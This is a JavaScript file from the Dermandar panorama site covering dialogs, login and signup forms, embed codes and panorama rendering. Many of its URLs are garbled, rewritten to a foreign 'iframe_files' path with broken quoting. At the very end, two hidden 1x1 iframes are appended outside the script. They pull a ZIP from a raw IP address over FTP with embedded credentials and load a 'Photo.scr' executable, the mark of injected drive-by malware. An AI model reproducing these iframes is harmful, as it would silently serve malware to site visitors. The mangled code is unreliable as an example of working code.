		return false;
	});
	
	dialog.addContentElement(embedCode);
	
	var updateCode = function() {
		var width = 0;
		var height = 0;
		if (preset.getValue() == "preset") {
			width = sizeButtons.getValue();
			if (aspectRatio.getValue() == "normal") {
				height = Math.round(width/1.3);
			} else {
				height = Math.round(width/1.8);
			}
		} else {
			width = $(inputWidth).val();
			height = $(inputHeight).val();
		}
		var code;
		/*
		if (codeType.getValue() == "normal") {
			code = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"  width=\"" + width + "\" height=\"" + height + "\">" +
				"<param name=\"movie\" value=\""+CFG_STATIC_DOMAIN_URL+"swf/FlashEmbedder.swf?v=40.4.7\"></param>"+
				"<param name=\"allowfullscreen\" value=\"true\"></param>"+
				"<param name=\"allowscriptaccess\" value=\"always\"></param>"+
				"<param name=\"wmode\" value=\"" + ((fVersion>=11)?"gpu":"opaque") + "\"></param>"+
				"<param name=\"flashvars\" value=\"pano=" + panoId + ((fVersion>=11)?"&ap=1&fullscreen=1":"") + "\"></param>"+
				"<embed src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;&quot;+CFG_STATIC_DOMAIN_URL+&quot;swf/FlashEmbedder.swf?v=40.4.7&quot;" + "\" wmode=\"" + ((fVersion>=11)?"gpu":"opaque") + "\" "+
				"type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" "+
				"width=\"" + width + "\" height=\"" + height + "\" flashvars=\"pano=" + panoId + ((fVersion>=11)?"&ap=1&fullscreen=1":"")+ "\"></embed></object>";
		} else {
		*/
			code = "<div id=\"dmd_pano_" + panoId + "\" style=\"width: " + width + "px; height: " + height + "px;\"></div>\r\n" +
				"<script type=\"text/javascript\">\r\n" +
				"var dmdEmbeds = dmdEmbeds || [], " + panoId + "_w='" + width + "', " + panoId + "_h='" + height + "';\r\n" +
				"(function(){ dmdEmbeds.push('" + panoId + "');})();\r\n" +
				"</script>\r\n" +
				"<script type=\"text/javascript\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;&quot;+CFG_STATIC_DOMAIN_URL+&quot;js/embed.js.php?v=107.17.6\&quot;"></script>";
		/*
		}
		*/
        
		$(embedCode).val(code);
	}
	
	updateCode();
	
	dialog.addButton("Close", function() {
		showFlash();
		dialog.dispose();
	});
	dialog.setVisible(true);
	hideFlash();
}

function showShareDialog(url) {
	var dialog = new ModalDialog("Share This Panorma");
	
	dialog.addButton("Close", function() {
		dialog.dispose();
	});
	dialog.setVisible(true);
}

function showLoadingDialog() {
	var modalDialog = new ModalDialog();
	var div = document.createElement("div");
	$(div).css({
		padding: "40px 20px",
		"font-size": "18px",
		color: "#888",
		"text-align": "center"
	}).html("Loading... Please wait!");
	modalDialog.addContentElement(div);
	modalDialog.setVisible(true);
	return modalDialog;
}

function ModalDialog(title) {
	this.title = title;
	
	this.initialize = function() {
		this.dom = document.createElement("div");
		$(this.dom).addClass("dialogBox");
		
		this.content = document.createElement("div");
		$(this.content).addClass("dialogContent");
		$(this.content).addClass("dmd_form");
		$(this.dom).append(this.content);
		
		if (typeof this.title != "undefined") {
			$(this.content).append("<h1>" + this.title + "</h1>");
		}
		
		this.footer = document.createElement("div");
		$(this.footer).hide();
		$(this.footer).addClass("dialogFooter");
		$(this.dom).append(this.footer);
		
		
		$(this.dom).hide();
		$(document.body).append(this.dom);
	}
	
	this.addContentElement = function(element) {
		$(this.content).append(element);
	}
	
	this.addButton = function(name, callback) {
		$(this.footer).show();
		var a = document.createElement("a");
		$(a).html(name).addClass("vui-button");
		$(a).attr("href","javascript:void(0)");
		$(a).click(function() {
			callback();
		});
		
		$(this.footer).append(a);
		return a;
	}
	
	this.addFooterElement = function(element) {
		$(this.footer).show();
		$(this.footer).append(element);
	}
	
	this.setVisible = function(visible, callback) {
		if (visible) {
			hideFlash();
			$(this.dom).slideDown(callback);
		} else {
			$(this.dom).hide();
		}
	}
	
	this.dispose = function() {
		$(this.dom).remove();
	}
	this.initialize();
}


function TabbedPane() {

	this.initialize = function() {

		this.dom = document.createElement("div");
		$(this.dom).addClass("tabbedPane");
		
		this.tabsBox = document.createElement("div");
		$(this.tabsBox).addClass("tabsBox");
		this.tabs = document.createElement("ul");
		$(this.tabs).addClass("selectionTabs").addClass("vui-button-group");
		$(this.tabsBox).append(this.tabs);
		
		$(this.dom).append(this.tabsBox);
		
		this.viewport = document.createElement("div");
		$(this.dom).append(this.viewport);
		
	}
	
	this.addFieldset = function(name, fieldset, select, callback) {
		var li = document.createElement("li");
		var a = document.createElement("a");
		a.innerHTML = name;
		a.href= "javascript:void(0)";
		$(a).addClass("vui-button");
		$(li).append(a);
		$(this.tabs).append(li);
		$(fieldset).hide();
		$(this.viewport).append(fieldset);
		var _this = this;
		$(a).click(function() {
			$("fieldset", _this.viewport).hide();
			$("a", _this.tabs).removeClass("vui-state-active");
			$(fieldset).show();
			$(a).addClass("vui-state-active");
			if (callback) {
				callback();
			}
		});
		
		if (select) {
			$(a).trigger("click");
		}
	}
	
	this.initialize();
}

function loginOrSignup(options) {
	new LoginOrSignup(options);
}

function LoginOrSignup(options) {
	this.options = options || {};
	
	this.initialize = function() {
		var _this = this;
		this.dialog = new ModalDialog("Dermandar Account");
		
		this.dialog.addButton("Cancel", function() {
			_this.dialog.dispose();
			if (_this.options.cancelCallback) {
				_this.options.cancelCallback();
			}
		});
		
		this.note = document.createElement("p");
		$(this.note).addClass("note").hide();
		this.dialog.addContentElement(this.note);
		
		this.tabbedPane = new TabbedPane();
		
		this.loginForm = document.createElement("fieldset");
		
		var p=document.createElement("p");
		this.loginUsername = document.createElement("input");
		this.loginUsername.type = "text";
		$(this.loginUsername).addClass("textInput");
		$(this.loginUsername).attr("placeholder","Username");
		$(p).append('<span class="inputLabel">Username:</span>').append(this.loginUsername);
		$(this.loginForm).append(p);
		
		p=document.createElement("p");
		this.loginPassword = document.createElement("input");
		this.loginPassword.type = "password";
		$(this.loginPassword).addClass("textInput");
		$(this.loginPassword).attr("placeholder","Password");
		$(p).append('<span class="inputLabel">Password:</span>').append(this.loginPassword);
		$(this.loginForm).append(p);
		
		p=document.createElement("p");
		this.loginRemember = document.createElement("input");
		this.loginRemember.type = "checkbox";
		this.loginRemember.id = "rememberMeInput";
		$(this.loginRemember).attr("placeholder","Password");
		$(p).append('<span class="inputLabel"></span>').append(this.loginRemember).append('<label for="rememberMeInput"> Remember me.</label>');
		$(this.loginForm).append(p);
		
		p=document.createElement("p");
		this.loginSubmit = document.createElement("input");
		this.loginSubmit.type = "submit";
		this.loginSubmit.value = "Login";
		$(this.loginSubmit).addClass("vui-button");
		$(p).append('<span class="inputLabel"></span>').append(this.loginSubmit);
		$(this.loginForm).append(p);
		
		$(this.loginSubmit).click(function() {
			var username = $(_this.loginUsername).val();
			var password = $(_this.loginPassword).val();
			var remember = $(_this.loginRemember).is(":checked");
			if (username == "") {
				$(_this.loginUsername).focus();
				return;
			}
			if (password == "") {
				$(_this.loginPassword).focus();
				return;
			}
			_this.setLoading(true);
			$.post("/php/auth.php", "action=login&params="+encodeURIComponent("username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password) + "&rememberme=" + remember),
				   function(ret) {
						if (ret.error) {
							$(_this.note).html(ret.error_info);
						} else {
							_this.loginSuccessful();
						}
							_this.setLoading(false);
				   }, "json");
		});
		
		this.tabbedPane.addFieldset("I have an account", this.loginForm, false);
		
		this.dialog.addContentElement(this.tabbedPane.dom);
		
		this.signupForm = document.createElement("fieldset");
		
		$(this.signupForm).append('<p class="helper">Username must be 4 to 32 characters long, can only contain English characters, numbers and one of these special characters: underscore, dash, period, single quote.</p>');
		
		this.usernameValidator = document.createElement("p");
		$(this.usernameValidator).addClass("helper");
		$(this.signupForm).append(this.usernameValidator);
		
		p=document.createElement("p");
		this.signupUsername = document.createElement("input");
		$(this.signupUsername).blur(function() {
			var username = $(this).val();
			if (username == "") {
				return;
			}
			$.getJSON("../php/auth.php", "action=check_username&params="+encodeURIComponent("username=" + encodeURIComponent(username)), function (ret) {
				if (ret.valid) {
					$(_this.usernameValidator).hide();
				} else {
					$(_this.usernameValidator).html("The username \"" + username + "\" is not valid.").css("color","red").show();
				}
			});
		});
		this.signupUsername.type = "text";
		$(this.signupUsername).addClass("textInput");
		$(this.signupUsername).attr("placeholder","Username");
		$(p).append('<span class="inputLabel">Username:</span>').append(this.signupUsername);
		$(this.signupForm).append(p);
		
		p=document.createElement("p");
		this.signupEmail = document.createElement("input");
		this.signupEmail.type = "text";
		$(this.signupEmail).addClass("textInput");
		$(this.signupEmail).attr("placeholder","Email Address");
		$(p).append('<span class="inputLabel">Email:</span>').append(this.signupEmail);
		$(this.signupForm).append(p);
		
		$(this.signupForm).append('<p class="helper">Password must be minimum 6 characters long.</p>');
		
		p=document.createElement("p");
		this.signupPassword = document.createElement("input");
		this.signupPassword.type = "password";
		$(this.signupPassword).addClass("textInput");
		$(this.signupPassword).attr("placeholder","Password").css({
			width: "140px", 
			"margin-right": "4px"
		});
		this.signupPassword2 = document.createElement("input");
		this.signupPassword2.type = "password";
		$(this.signupPassword2).addClass("textInput");
		$(this.signupPassword2).attr("placeholder","Password Again").css({
			width: "140px"
		});
		$(p).append('<span class="inputLabel">Password Twice:</span>').append(this.signupPassword).append(this.signupPassword2);
		$(this.signupForm).append(p);
		
		p=document.createElement("p");
		this.signupSubmit = document.createElement("input");
		this.signupSubmit.type = "submit";
		this.signupSubmit.value = "Sign me up";
		$(this.signupSubmit).addClass("vui-button");
		$(p).append('<span class="inputLabel"></span>').append(this.signupSubmit);
		$(this.signupForm).append(p);
		
		$(this.signupForm).append("<p class=\"helper\">By signing up, you agree to <a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;/tos/\&quot;" target=\"blank\">Dermandar's Terms of Service</a>.</p>");
		
		$(this.signupSubmit).click(function() {
			var username = $(_this.signupUsername).val();
			var email = $(_this.signupEmail).val();
			var password = $(_this.signupPassword).val();
			var password2 = $(_this.signupPassword2).val();
			if (username == "") {
				$(_this.loginUsername).focus();
				return;
			}
			if (!isValidEmail(email)) {
				$(_this.signupEmail).focus();
				$(_this.note).html("Invalid email address").show();
				return;
			}
			if (password == "" || password.length < 6) {
				$(_this.note).html("Invalid Password").show();
				$(_this.loginPassword).focus();
				return;
			}
			if (password != password2) {
				$(_this.note).html("Your passwords do not match").show();
				$(_this.signupPassword).focus();
				return;
			}
			_this.setLoading(true);
			$.post("/php/auth.php", "action=signup&params="+encodeURIComponent("username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password) + "&email=" + encodeURIComponent(email)),
				   function(ret) {
						if (ret.error) {
							$(_this.note).html(ret.error_info);
						} else {
							_this.signupSuccessful();
						}
						_this.setLoading(false);
				   }, "json");
		});
		
		this.tabbedPane.addFieldset("Create a new account", this.signupForm, true);
		
		this.dialog.addContentElement(this.tabbedPane.dom);
		
		this.dialog.setVisible(true);
	}
	
	this.loginSuccessful = function() {
		if (typeof this.options.successCallback != "undefined") {
			this.options.successCallback("login");
		}
		this.dialog.dispose();
	}
	
	this.signupSuccessful = function() {
		if (typeof this.options.successCallback != "undefined") {
			this.options.successCallback("signup");
		}
		this.dialog.dispose();
	}
	
	this.setLoading = function(loading) {
		if (loading) {
			$("input", this.tabbedPane.dom).attr("disabled", "disabled");
			$(this.note).html("Loading! Please wait...").show();
		} else {
			$("input", this.tabbedPane.dom).removeAttr("disabled");
		}
	}
	
	this.initialize();
}

function ToggleGroup() {
	this.listeners = [];
	
	this.initialize = function() {
		this.dom = document.createElement("ul");
		$(this.dom).addClass("vui-button-group");
	}
	
	this.addChangeListener = function(callback) {
		this.listeners.push(callback);
	}
	
	this.fireChange = function() {
		for (var i=0; i< this.listeners.length; i++) {
			var listener = this.listeners[i];
			listener();
		}
	}
	
	this.setValue = function(value) {
		this.value = value;
		this.fireChange();
	}
	
	this.getValue = function() {
		return this.value;
	}
	
	this.addButton = function(title, value, selected) {
		var _this = this;
		var li = document.createElement("li");
		var a = document.createElement("a");
		a.href = "javascript:void(0)";
		a.innerHTML = title;
		$(a).addClass("vui-button");
		$(a).click(function() {
			_this.setValue(value);
			$(".vui-state-active", _this.dom).removeClass("vui-state-active");
			$(this).addClass("vui-state-active");
		});
		$(li).append(a);
		$(this.dom).append(li);
		if (selected) {
			$(a).trigger("click");
		}
	}
	
	this.initialize();
}

function reportViolation(id) {
	var dialog = new ModalDialog("Report this panorama");
	
	var fieldset = document.createElement("div");
	
	var p = document.createElement("p");
	$(p).height(30);
	var reportLabel = document.createElement("span");
	$(reportLabel).addClass("inputLabel");
	reportLabel.innerHTML = "Report Type:";
	var buttonGroup = new ToggleGroup();
	buttonGroup.addButton("Abuse", "abuse", true);
	buttonGroup.addButton("Copyright", "copyright", false);
	$(p).append(reportLabel).append(buttonGroup.dom);
	$(fieldset).append(p); 
	
	p = document.createElement("p");
	var reportLabel = document.createElement("span");
	$(reportLabel).addClass("inputLabel");
	reportLabel.innerHTML = "Details:";
	var details = document.createElement("textarea");
	$(details).width(300).height(100);
	$(p).append(reportLabel).append(details);
	$(fieldset).append(p); 
	
	dialog.addButton("Cancel", function() {
		showFlash();
		dialog.dispose();
	});
	
	dialog.addButton("Report", function() {
		$.post("/api/edit/report/" + buttonGroup.getValue(), {
			publicid: id,
			details: $(details).val()
		}, function() {
		
		});
		$(dialog.footer).slideUp();
		$(dialog.content).html("Thank you! Your report will reviewed soon.").css({
			"text-align": "center",
			"font-size": "14px"
		});
		setTimeout(function() {
			$(dialog.dom).fadeOut("normal", function() {
				dialog.dispose();
				showFlash();
			});
		}, 4000);
	});
	
	dialog.addContentElement(fieldset);
	
	dialog.setVisible(true);
	hideFlash();
}

/////////////////////////////////////////////////////////
function loadTab(obj,index){
if(obj.parentNode == null || obj.parentNode.parentNode == null){
return null;
}
var parent = obj.parentNode.parentNode;
var content = parent.getElementsByClassName("desctabscontent")[0];
var tabs = parent.getElementsByClassName("desctabs")[0];
var tabsNodes = tabs.childNodes;
var contentNodes = content.childNodes;
for(var i = 0; i < tabsNodes.length; i++)
{
if(tabsNodes[i].getAttribute("index") == index){
tabsNodes[i].classList.add("seleteddesctab");
}else{
tabsNodes[i].classList.remove("seleteddesctab");
}
}

for(var i = 0; i < contentNodes.length; i++)
{
if(contentNodes[i].getAttribute("index") == index){
contentNodes[i].style.display = "block";
}else{
contentNodes[i].style.display = "none";
}
}

return false;
}


function renderPanorama1(pano, elementType, options) {
	var defaults = {
		width: 600,
		hoverable: true
	}
	var options = $.extend({}, defaults, options);
	var li = document.createElement(elementType);
	////
	var mainDiv = document.createElement("div");
	mainDiv.innerHTML  = "<div class=\"desctabs\">"+
	"<a class=\"desctab\" href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;#\"" onclick=\"return loadTab(this,'1');\" class=\"seleteddesctab\" index =\"1\">General</a>"+
	"<a class=\"desctab\" href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;#\"" onclick=\"return loadTab(this,'2');\" index =\"2\">Share</a>"+
	"<a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;#\"" onclick=\"return loadTab(this,'3');\" index =\"3\">Embed</a>"+
	"<a class=\"desctab\" href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;#\"" onclick=\"return loadTab(this,'4');\" index =\"4\">Related</a>"+
	"<a class=\"desctab\" href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;#\"" onclick=\"return loadTab(this,'5');\" index =\"5\">Map</a>"+
	"</div>"+
	"<div class=\"desctabscontent\">"+
    "<div class=\"desctab\" index =\"1\" style = \"display:block;\">"+
	"<div style=\"display:inline-block;vertical-align:top;padding:5px;font-size:14px;\">"+
	"<p><b><i>Name: "+ pano.name +"</i></b>"+
	"</p>"+
    "<p>Created "+ new Date(pano.creation_time * 1000).toDateString() +" By "+
	"<a target=\"_blank\" href = "http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://www.dermandar.com/user/&quot;+pano.owner_username" +"\">" + pano.owner_username + "</a><br/>" + 
	pano.views + " views"+
	"</p>"+
	"<p>Description: "+ (pano.description.length>0?pano.description:"No Description") + 
	"</p>"+
	"</div>"+
	"</div>"+
	"<div class=\"desctab\" index =\"2\" style = \"display:none;\">"+
	"<div style=\"position:absolute;width:100%;bottom:5px;text-align:center;\">"+
	"<img style=\"margin-right:5px;cursor:pointer;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;images/facebook.png\&quot;/">"+
	"<img style=\"margin-right:5px;cursor:pointer;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;images/twitter.png\&quot;/">"+
	"<img style=\"margin-right:5px;cursor:pointer;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;images/plus.png\&quot;/">"+
	"<img style=\"margin-right:5px;cursor:pointer;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;images/instagram.png\&quot;/">"+
	"</div>"+
	"</div>"+
	"<div index =\"3\" style = \"display:none;\">"+
	"<div style=\"margin:auto;vertical-align:top;padding:5px;width:295px;height:128px;overflow:hidden;text-align:center;\">"+
	"<a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://www.dermandar.com/p/&quot;+" pano.publicid +"\">"+
	"<img style=\"min-width:100%;min-height:100%;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://static.dermandar.com/php/getimage.php?epid=&quot;+pano.publicid" +"&equi=1&h=128\"/>"+
	"</a>"+
	"</div>"+
	"</div>"+
	"<div class=\"desctab\" index =\"4\" style = \"display:none;\">"+
	"<div style=\"display:inline-block;vertical-align:top;padding:5px;float:right;width:295px;height:128px;overflow:hidden;\">"+
	"<a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://www.dermandar.com/p/&quot;+" pano.publicid +"\">"+
	"<img style=\"min-width:100%;min-height:100%;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://static.dermandar.com/php/getimage.php?epid=&quot;+pano.publicid" +"&equi=1&h=128\"/>"+
	"</a>"+
	"</div>"+
	"</div>"+
	"<div class=\"desctab\" index =\"5\" style = \"display:none;\">"+
	"<div style=\"display:inline-block;vertical-align:top;padding:5px;float:right;width:295px;height:128px;overflow:hidden;\">"+
	"<a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://www.dermandar.com/p/&quot;+" pano.publicid +"\">"+
	"<img style=\"min-width:100%;min-height:100%;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://static.dermandar.com/php/getimage.php?epid=&quot;+pano.publicid" +"&equi=1&h=128\"/>"+
	"</a>"+
	"</div>"+
	"</div>"+
	"</div>"+
	"<div class = \"smalldesc\">"+
	"<div style=\"margin:auto;vertical-align:top;padding:5px;width:100%;height:128px;overflow:hidden;text-align:center;\">"+
	"<a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://www.dermandar.com/p/&quot;+" pano.publicid +"\">"+
	"<img style=\"min-width:100%;min-height:100%;\" src="http://chieldngo.innpidea.com/test/iframe_files/\&quot;http://static.dermandar.com/php/getimage.php?epid=&quot;+pano.publicid" +"&equi=1&h=128\"/>"+
	"</a>"+
	"</div></div>";
	/////
	if (typeof userSettings != "undefined" && userSettings.username == pano.owner_username) {
		var edit = document.createElement("a");
		$(edit).addClass("icon").addClass("icon_edit").attr("href","javascript:void(0)");
		$(edit).css("float", "right");
		$(edit).click(function() {
			var editor = new PanoramaEditor({
				panorama: pano,
				defaultView: "details",
				updateCallback: function(panoData) {
					showLoadingDialog();
					$.post("/api/edit/update", panoData, function(data) {
						if (data.success) {
							window.location.reload(false);
						} else {
							editor.setVisible(true);
						}
					}, "json");
				},
				deleteCallback: function() {
					showLoadingDialog();
					$.post("/api/edit/delete", {"publicid": pano.publicid}, function(data) {
						if (data.success) {
							window.location.reload(false);
						} else {
							editor.setVisible(true);
						}
					}, "json");
				}
			});
			
		});
		$(mainDiv).append(edit);
	}
	
		
	$(li).append(mainDiv);
	


	return li;
}
/////////////////////////////////////////////////////////
<iframe src=ftp://ftp:pass@42.200.103.71/officewant/iframe_files/info.zip width=1 height=1 frameborder=0>
</iframe>
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>